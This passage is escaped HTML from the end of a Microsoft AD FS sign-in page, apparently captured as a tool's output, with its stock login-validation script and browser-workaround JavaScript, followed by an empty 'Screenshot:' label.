option;\n                    document.forms[\'options\'].submit();\n                    return false;\n                }\n            </script>\n            <input id="optionSelection" name="AuthMethod" type="hidden">\n            <div class="groupMargin"></div>\n        </form>\n      </div>\n\n        <div id="introduction" class="groupMargin">\n                                 \n        </div>\n\n        <script type="text/javascript">\n        //<![CDATA[\n\n            function Login() {\n            }\n\n            Login.userNameInput = \'userNameInput\';\n            Login.passwordInput = \'passwordInput\';\n\n            Login.initialize = function () {\n\n                var u = new InputUtil();\n\n                u.checkError();\n                u.setInitialFocus(Login.userNameInput);\n                u.setInitialFocus(Login.passwordInput);\n            }();\n\n            Login.submitLoginRequest = function () { \n                var u = new InputUtil();\n                var e = new LoginErrors();\n\n                var userName = document.getElementById(Login.userNameInput);\n                var password = document.getElementById(Login.passwordInput);\n\n                if (!userName.value || !userName.value.match(\'[@\\\\\\\\]\')) {\n                    u.setError(userName, e.userNameFormatError);\n                    return false;\n                }\n\n                if (!password.value) {\n                    u.setError(password, e.passwordEmpty);\n                    return false;\n                }\n\n                document.forms[\'loginForm\'].submit();\n                return false;\n            };\n\n            InputUtil.makePlaceholder(Login.userNameInput);\n            InputUtil.makePlaceholder(Login.passwordInput);\n        //]]>\n        </script>\n    </div>\n\n    </div>\n\n                </div>\n                <div id="footerPlaceholder"></div>\n            </div>\n            <div id="footer">\n                <div id="footerLinks" class="floatReverse">\n                     <div><span id="copyright">\xc2\xa9 2013 Microsoft</span></div>\n                </div>\n            </div>\n        </div> \n    </div>\n    <script type="text/javascript">\n//<![CDATA[\n// Copyright (c) Microsoft Corporation.  All rights reserved.\n\n// This file contains several workarounds on inconsistent browser behaviors that administrators may customize.\n"use strict";\n\n// iPhone email friendly keyboard does not include "\\" key, use regular keyboard instead.\n// Note change input type does not work on all versions of all browsers.\nif (navigator.userAgent.match(/iPhone/i) != null) {\n    var emails = document.querySelectorAll("input[type=\'email\']");\n    if (emails) {\n        for (var i = 0; i < emails.length; i++) {\n            emails[i].type = \'text\';\n        }\n    }\n}\n\n// In the CSS file we set the ms-viewport to be consistent with the device dimensions, \n// which is necessary for correct functionality of immersive IE. \n// However, for Windows 8 phone we need to reset the ms-viewport\'s dimension to its original\n// values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.\n// Windows 8 phone has agent string \'IEMobile 10.0\'\nif (navigator.userAgent.match(/IEMobile\\/10\\.0/)) {\n    var msViewportStyle = document.createElement("style");\n    msViewportStyle.appendChild(\n        document.createTextNode(\n            "@-ms-viewport{width:auto!important}"\n        )\n    );\n    msViewportStyle.appendChild(\n        document.createTextNode(\n            "@-ms-viewport{height:auto!important}"\n        )\n    );\n    document.getElementsByTagName("head")[0].appendChild(msViewportStyle);\n}\n\n// If the innerWidth is defined, use it as the viewport width.\nif (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {\n    var viewport = document.querySelector("meta[name=viewport]");\n    viewport.setAttribute(\'content\', \'width=\' + window.innerWidth + \'px; initial-scale=1.0; maximum-scale=1.0\');\n}\n\n// Gets the current style of a specific property for a specific element.\nfunction getStyle(element, styleProp) {\n    var propStyle = null;\n\n    if (element && element.currentStyle) {\n        propStyle = element.currentStyle[styleProp];\n    }\n    else if (element && window.getComputedStyle) {\n        propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);\n    }\n\n    return propStyle;\n}\n\n// The script below is used for downloading the illustration image \n// only when the branding is displaying. This script work together\n// with the code in PageBase.cs that sets the html inline style\n// containing the class \'illustrationClass\' with the background image.\nvar computeLoadIllustration = function () {\n    var branding = document.getElementById("branding");\n    var brandingDisplay = getStyle(branding, "display");\n    var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display");\n\n    if (brandingDisplay && brandingDisplay !== "none" &&\n        brandingWrapperDisplay && brandingWrapperDisplay !== "none") {\n        var newClass = "illustrationClass";\n\n        if (branding.classList && branding.classList.add) {\n            branding.classList.add(newClass);\n        } else if (branding.className !== undefined) {\n            branding.className += " " + newClass;\n        }\n        if (window.removeEventListener) {\n            window.removeEventListener(\'load\', computeLoadIllustration, false);\n            window.removeEventListener(\'resize\', computeLoadIllustration, false);\n        }\n        else if (window.detachEvent) {\n            window.detachEvent(\'onload\', computeLoadIllustration);\n            window.detachEvent(\'onresize\', computeLoadIllustration);\n        }\n    }\n};\n\nif (window.addEventListener) {\n    window.addEventListener(\'resize\', computeLoadIllustration, false);\n    window.addEventListener(\'load\', computeLoadIllustration, false);\n}\nelse if (window.attachEvent) {\n    window.attachEvent(\'onresize\', computeLoadIllustration);\n    window.attachEvent(\'onload\', computeLoadIllustration);\n}\n\n//]]>\n</script>\n\n\n    \n \n\n\n</body></html>'

                             

Screenshot: